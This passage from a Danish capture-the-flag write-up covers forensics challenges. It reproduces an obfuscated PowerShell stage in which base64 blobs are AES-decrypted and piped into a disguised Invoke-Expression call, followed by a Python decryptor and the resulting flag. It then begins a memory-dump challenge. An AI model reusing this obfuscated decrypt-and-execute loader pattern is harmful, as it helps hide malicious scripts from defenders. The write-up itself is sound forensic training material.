</span></span><span class="line"><span class="cl"><span class="nv">$economics</span> <span class="p">=</span> <span class="s1">&#39;KmV9RXm9YDliWGaa8MaWo4psjnuhUmBG9Sgzyy+YEy0guhlJqv4Nm/789kl5sBxc6EjKMJP3o46bT+XumAWbC/BSZYuWBHYN+x8h8bACcYnryqOWKFdMJb4f6fnz4x9ygKvc0o4vdBFaY9qn4dkHdich3G9fhs+IVl6OnI+BuWuQ5siMWOVTga4EHeig/gwyY1hvJ1e/0eFqkFyk24e8OEh1MvYoquTJRXgUv38izdEXBgBZwrd7CdD0NlrxmYwfQs+S3aAbPGF31ilR3A1t9ifi3cYdEpkZIJ8dEDsWBUBICM3pv1leYhwCJoxbelGIeTiVOYJ/p04nLZX/mD3LV3MyYKeo4sC7QX5p3mHLIs/KE2xuCQToYujYfLS2y7PI3fu180G/oPQHO9NybSDaCqbNJ2g=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$examiner</span> <span class="p">=</span> <span class="mf">39162</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$loud</span> <span class="p">=</span> <span class="s1">&#39;UAUSi4SXhrb84owq3aAnK+1CRTwEoSle9b/8USGxG0409bb69PiMlPLyVyCoKY4e8WboziZSu3f81dAbM382ziFN6CLhuWir4HZVmDU7qHgAUuwhcvShvrsZHNxSozapAQBIEU9sQ0zziN+5c/r/kXoysu/70z8UXgduD8sKXbK5jO8K2wW7QrCjiiQJmM+CRF7Ez7wsIsPVTusd8YRsjZVYn1UmWBVegUsN8pSgrSowzpy/p8J+zOAqTEbFx9uUSel+d8S7JKANeOdcbQC/maVl+if8XUuSw3hp1WyRhyqQmb8e2pOLeuFm1CNsm2R6BqhbLg/Vf6m1JqcAFSFIEG6YsuAwZZEk1ulWerdu8R9HKJXVhW1ZZVDX+funiD3wPkd39R08Ka4JMifBXwSOVz+36O8=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">pepper([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">council</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">37615</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">semicircle</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">53814</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">percent</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">34862</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">wee</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">34782</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$cue</span> <span class="p">=</span> <span class="s1">&#39;xTIqOTG/xXlvBeM42zLULcj6Qn2SyPScIMbTXUXYm9HlteBxjN4VGBk3zOb1CJ1NJVFqPmsGTdd/0Rmv/c3mqnYLqmuMbQxkNDCpi3iHH/fPcFz/cgmxYaB9WU7PAxZEU1Firj7FvNH5u3Jk5+SvDBN1GTkVZNw1/8De6++2WnyLpxAREcO3I1P4hVBDMyNqqfrH+KuuXEQeKw0PpN/6XX7Rh/X1kmNZkK624UgV6dNzRC0Eno1rvsP7MParpS8AAcvypX8dWlKSpTKXzl6iiOhfiSHBqhZmTO0hlSLQzId9mmdL+4iR3lJQurS5cxlzb9MJrDL+V3Y8GGwl0yxsnTBRbpG99DG0TRMxBEg4wNweYP+xyDIRO4fJg78ApVIem5pOpg4N3CUZv/AiurOSsxzHhIRoUFwHuZmmg2xeCjODaZEruxzH0+7FNOxSELieJi8dtms8&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">scream([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">jockey</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">37506</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cactus</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">25237</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">conscience</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">39467</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rite</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">22880</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">filth</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">36123</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">prove</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">31260</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">gaudy</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">53677</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">jog</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14548</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">veldt</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">18624</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">effectiveness</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">4327</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">oil</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">46879</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">medal([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">relieved</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">42996</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">guest</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">38890</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rider</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">8380</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">date</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">12867</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">oil</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29260</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">comma</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">51927</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">blackberry</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">19893</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">urn</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">48257</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">validity</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">24155</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">transom</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">35454</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bike</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">18704</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">intervenor</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">22571</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bail</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">34061</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">nectar</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">41359</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cathedral</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">53732</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mule</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">7269</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">field</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">31089</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cling</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">43634</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">streetcar</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">33257</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$criminal</span> <span class="p">=</span> <span class="s1">&#39;3meYpkmXcslAd16177iQmSS97UXP69yzAbFFFe/Vx1J+qAEIujuMGZBBRsnhu78JRaQu2OMKhdmM7xuh3/zILBf0MmN6DtHFaX6j4Zpn4DSczADjrid2h1AATGw/ggOj&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$breakable</span> <span class="p">=</span> <span class="s1">&#39;H0FVl/SN2tPh6BBmIkJAfza/uTTnVTNYZeiGC9ecnvw7LpbrXj32N2seemFs46Gu2lR+x3HDzHD2ZIBSTYuZvxn+RdRermpHrAww4O9q8KqNNfOdh2D6uq53juCLhhNAmSAzqBaLHsnFGznkOzK21O/ykSVtYIIKCoxooaRTJ+iunPf7cfli3VED0DgCdDR1ylUnM8w3nQgZdzDxMgD5yk+wugjsNxOJ41e8j8qAX/uUxwnsCarDfWxx5GJWWP4R+hTFDZJU86OZPJ/Uu6qHhwimpBCMyMq98tcqZ9oemw==&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$spiffy</span> <span class="p">=</span> <span class="s1">&#39;9ohqylF5evGV4xxxA0Iz6Y4gsr88frcuBkJK6H4NpChsuWMZvyY1fAIIJMD6ndkj1x8cGoDSO3WfoSVlatsOmQ9I1rnIKjj4k2Y8PJ+WDHYtLdGubZwa12NYc7YlgnAhjIdAZl8wzMGaBSrEb9UVlb43ARdPPIG2MDuxCFEeyU2AYPQ7M6i1givHhB4idyj6Iy5/7M9aklzBFQPX49g/rCrR+SdosBb7y/jjOF8OFx4Tp27V1DdpDHxW3cx37QxEu9HSlOthLky4APKU+OmDbNVZGfj+P19BaKCMrBhzrPJWwaN7+HKorhnyJVundMFmG3Xa29jlgNPdJO2BkWuVO6RXJqAwKVprA1BshvdCJ9NqpXv9bw7Y7UZO/g2+8PxPdCKb74pfCt3BQ6YOcTXsqrhLvJ4W+YvGEAgmhto9Nh/X&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$dam</span> <span class="p">=</span> <span class="s1">&#39;5WcJXT5XwlTwAB9Aaw3F3HEhV4MY+QEyaqgUHyAF+KdevMTislQHy7SinCOqyj/v4cQcw/X9DYHxN50qxXxi4vMFI3jVih3bBFeqdMY6oQs8fBZQ1wJDbMVxNu6Zi+x/7HDQ0YkDs62qDLLqyEH+8E+iPdrM5fZmq7dphAMVy6QHxm4xNiCgPqcIlLpxKprH6Qyp2B+9WKxe0FUtIR4XHnjLAADoy3hzBTekbqTVIrH2ie9OfMHEcBtpbMDZm0eT+5hyhJ3WJ8v7SfwJjBpng+JiV/ONiVD3hGqWlBasxBA=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$kendo</span> <span class="p">=</span> <span class="mf">23405</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$execution</span> <span class="p">=</span> <span class="s1">&#39;knjaDutpAeiOXRfV7VGRjEVkMei5CkA9ru4+jXAEWmqo3nARX7/KZDQnxeFUBkozHxMW2QrfxF7rU+OIGBmw8m5Stz1gvMA5vltWs47DNwWdydfDMyuy84bB7H+3wF/o+Bmlqw4a9DBAbYVVdP09B/my8AHD78SprEwbbOM4BpQ5JiY8LSoh7ZG0VpOsPxQ03M4IH5QD7ts6n9o6V2k0BriJvz+5Itmc5zUKymwYb2kwi4h8FvRVyTXRU1PdE5MMaIYcZEYA1GkOqRXfSErX7BwLk48D9+FtXvDoplI8ECKSmdadMQQ9IXPChbe2YfoVOxgy5BL++XszYO/XgxYc8P9Mojz+cPn9a3e7bZgiuxmH0oZGlQl0kjf9AFZ2SXAISoK5A2mbOXa94PdPqoldFr0zQ9W2Jy2apU0Zo2i1pgPmz+GaGp1YONuvjqqwwCkzHRjChienspF+V08jiUd1YNMp&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$checkbook</span> <span class="p">=</span> <span class="s1">&#39;mht3s29j0wxgB8Ry7&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$oil</span> <span class="p">=</span> <span class="s1">&#39;sJyoPvj4kXYXoMhkngQBXvyLzuaZ5nyYz0dGjrf/rBS5sK5f2cehoQgZsAh8Pbxz5fCzj2PJWLUsmQC+NPDPGPYTqwMEdCykTZAgzJrcdUHX7te1TWQYUwvOOkKZp/yXnLEY2hdTzPMAjj53NL/bTkHXeev7Ovax8seky7otl24um4KP/31Q3wMrLTidKTgaRp+GV0HiO/rBNXyFfp7ycrtr0pbHMRr+CjYOkKZODWJxSb/p9RSj4SzllJ4=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">people([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">faucet</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">15799</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">building</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">40775</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">eclipse</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">48058</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">murder</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">43573</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">sword([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">soap</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">31195</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">temple</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">17211</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ring</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">38823</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">iris</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">19017</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">wheat</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">31513</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">target</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">6127</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cycle</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">33408</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">theory</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">24266</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">clasp</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">36494</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">excess</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">43498</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">suffer</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">38248</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">casserole</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">910</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">assess</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">26116</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">row</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">27653</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sub</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">8125</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">blossom</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">45967</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$everybody</span> <span class="p">=</span> <span class="s1">&#39;sswWZQ882e5&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">linkage([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">ram</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">26216</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">succinct</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55963</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">innate</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16309</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$batting</span> <span class="p">=</span> <span class="s1">&#39;wPIjxVmOAYoT9AaZTbfqcq9JsAxpVT4HbiEmCYgFtDE=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$colloquy</span> <span class="p">=</span> <span class="mf">55183</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$lawsuit</span> <span class="p">=</span> <span class="s1">&#39;7Ab&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$feng</span> <span class="p">=</span> <span class="nv">$osmosis</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$osmosis</span> <span class="o">-eq</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$feng</span> <span class="p">=</span> <span class="nb">Read-Host</span> <span class="n">-Prompt</span> <span class="s1">&#39;Variable name&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$pig</span> <span class="p">=</span> <span class="nb">Get-Variable</span> <span class="n">-Name</span> <span class="nv">$feng</span> <span class="n">-ValueOnly</span>
</span></span><span class="line"><span class="cl"><span class="nv">$pavement</span> <span class="p">=</span> <span class="nv">$quiche</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$quiche</span> <span class="o">-eq</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$pavement</span> <span class="p">=</span> <span class="nb">Read-Host</span> <span class="n">-Prompt</span> <span class="s1">&#39;Key Variable name&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nv">$nymph</span> <span class="p">=</span> <span class="nb">Get-Variable</span> <span class="n">-Name</span> <span class="nv">$pavement</span> <span class="n">-ValueOnly</span>
</span></span><span class="line"><span class="cl"><span class="nv">$reciprocity</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$pig</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$diagram</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$nymph</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$snowmobiling</span> <span class="p">=</span> <span class="vm">@</span><span class="p">{</span><span class="n">TypeName</span><span class="p">=</span><span class="s2">&#34;SYS&#34;</span><span class="p">+</span><span class="s2">&#34;tem.s&#34;</span><span class="p">+</span><span class="s2">&#34;e&#34;</span><span class="p">+</span><span class="s2">&#34;cU&#34;</span><span class="p">+</span><span class="s2">&#34;R&#34;</span><span class="p">+</span><span class="s2">&#34;ItY&#34;</span><span class="p">+</span><span class="s2">&#34;.Cr&#34;</span><span class="p">+</span><span class="s2">&#34;ypT&#34;</span><span class="p">+</span><span class="s2">&#34;ogra&#34;</span><span class="p">+</span><span class="s2">&#34;pHY&#34;</span><span class="p">+</span><span class="s2">&#34;.Ae&#34;</span><span class="p">+</span><span class="s2">&#34;SMA&#34;</span><span class="p">+</span><span class="s2">&#34;NA&#34;</span><span class="p">+</span><span class="s2">&#34;ge&#34;</span><span class="p">+</span><span class="s2">&#34;d&#34;</span><span class="p">;</span><span class="n">Property</span><span class="p">=</span><span class="vm">@</span><span class="p">{(</span><span class="s2">&#34;mOdE&#34;</span><span class="p">)=[</span><span class="no">System.Security.Cryptography.CipherMode</span><span class="p">]::</span><span class="n">CBC</span><span class="p">;</span> <span class="n">Padding</span><span class="p">=[</span><span class="no">System.Security.Cryptography.PaddingMode</span><span class="p">]::</span><span class="n">PKCS7</span><span class="p">;</span> <span class="n">BlockSize</span><span class="p">=</span><span class="mf">128</span><span class="p">;</span><span class="n">KeySize</span><span class="p">=</span><span class="mf">256</span><span class="p">;(</span><span class="s2">&#34;iv&#34;</span><span class="p">)=</span><span class="nv">$reciprocity</span><span class="p">[</span><span class="mf">0</span><span class="p">.</span><span class="mf">.15</span><span class="p">];}}</span>
</span></span><span class="line"><span class="cl"><span class="nv">$inspiration</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="nv">@snowmobiling</span>
</span></span><span class="line"><span class="cl"><span class="nv">$inspiration</span><span class="p">.(</span><span class="s2">&#34;key&#34;</span><span class="p">)=</span><span class="nv">$diagram</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">.</span><span class="py">GetString</span><span class="p">(</span><span class="nv">$inspiration</span><span class="p">.(</span><span class="s2">&#34;C&#34;</span><span class="p">+</span><span class="s2">&#34;rEA&#34;</span><span class="p">+</span><span class="s2">&#34;Te&#34;</span><span class="p">+</span><span class="s2">&#34;decRY&#34;</span><span class="p">+</span><span class="s2">&#34;PtOR&#34;</span><span class="p">)().</span><span class="py">TransformFinalBlock</span><span class="p">(</span><span class="nv">$reciprocity</span><span class="p">,</span><span class="mf">16</span><span class="p">,</span><span class="nv">$reciprocity</span><span class="p">.</span><span class="n">length</span><span class="p">-</span><span class="mf">16</span><span class="p">)).</span><span class="py">Trim</span><span class="p">([</span><span class="no">char</span><span class="p">]</span><span class="mf">0</span><span class="p">)|&amp;((&amp;</span><span class="n">g</span><span class="s1">&#39;&#39;</span><span class="s2">&#34;cm&#34;</span> <span class="p">(</span><span class="s2">&#34;?&#34;</span><span class="p">+</span><span class="s2">&#34;?&#34;</span><span class="p">+</span><span class="s1">&#39;x&#39;</span><span class="p">))[</span><span class="mf">1</span><span class="p">])</span>
</span></span></code></pre></div><p>Fra forrige script fik vi <code>-ArgumentList @(&quot;criminal&quot;, &quot;batting&quot;)</code>, så hvis vi går ud fra at <code>$criminal</code> er vores ciphertext og <code>$batting</code> er vores key, så kan vi dekryptere det ved at køre scriptet. Det giver os følgende output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher_b64</span> <span class="o">=</span> <span class="s2">&#34;3meYpkmXcslAd16177iQmSS97UXP69yzAbFFFe/Vx1J+qAEIujuMGZBBRsnhu78JRaQu2OMKhdmM7xuh3/zILBf0MmN6DtHFaX6j4Zpn4DSczADjrid2h1AATGw/ggOj&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">key_b64</span> <span class="o">=</span> <span class="s2">&#34;wPIjxVmOAYoT9AaZTbfqcq9JsAxpVT4HbiEmCYgFtDE=&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipherdata</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">cipher_b64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">key_b64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">iv</span> <span class="o">=</span> <span class="n">cipherdata</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">encrypted</span> <span class="o">=</span> <span class="n">cipherdata</span><span class="p">[</span><span class="mi">16</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">plaintext</span><span class="p">)</span>
</span></span></code></pre></div><p>Efter at have kørt dette script, får vi følgende output: <code>$secret = &quot;DDC{l1v1ng_0ff_th3_l4nd_1s_th3_b3st_f34l1ng_dc9ed4584956}&quot;</code></p>
<p>Flag: <code>DDC{l1v1ng_0ff_th3_l4nd_1s_th3_b3st_f34l1ng_dc9ed4584956}</code></p>
<hr>
<h2 id="peaceful">Peaceful</h2>
<p>I had this amazingly peaceful dream, but my memory of it is a bit off. My dream was based on events on the 14th of December. Can you help me find out what happened in my dream?</p>
<p>Password to the zip: <code>QKej9r6KGAl1</code></p>
<p>Vedhæftet fil: <a href="/ddc_fasttrack_2026/forensics/forensics_peaceful.7z">forensics_peaceful.7z</a></p>
<p><strong>Løsning:</strong> Jeg tror jeg fik løst denne opgave lidt ved et tilfælde, da jeg blot sad og greppede efter base64 strenge i .mem filen.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">grep -aEo <span class="s1">&#39;[A-Za-z0-9+/]{40,}={0,2}&#39;</span> flag.mem
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/TreeViewModel
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/TreeViewModel
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGUI/VimEditingEngine
</span></span><span class="line"><span class="cl">/Userland/Applications/FileManager/PropertiesWindow
</span></span><span class="line"><span class="cl">/Userland/Applications/FileManager/PropertiesWindow
</span></span><span class="line"><span class="cl">/Userland/Applications/FileManager/PropertiesWindow
</span></span><span class="line"><span class="cl">/Userland/Applications/FileManager/PropertiesWindow
</span></span><span class="line"><span class="cl">/Userland/Libraries/LibGfx/ImageFormats/ImageDecoder
</span></span><span class="line"><span class="cl">/Userland/Applications/FileManager/PropertiesWindow
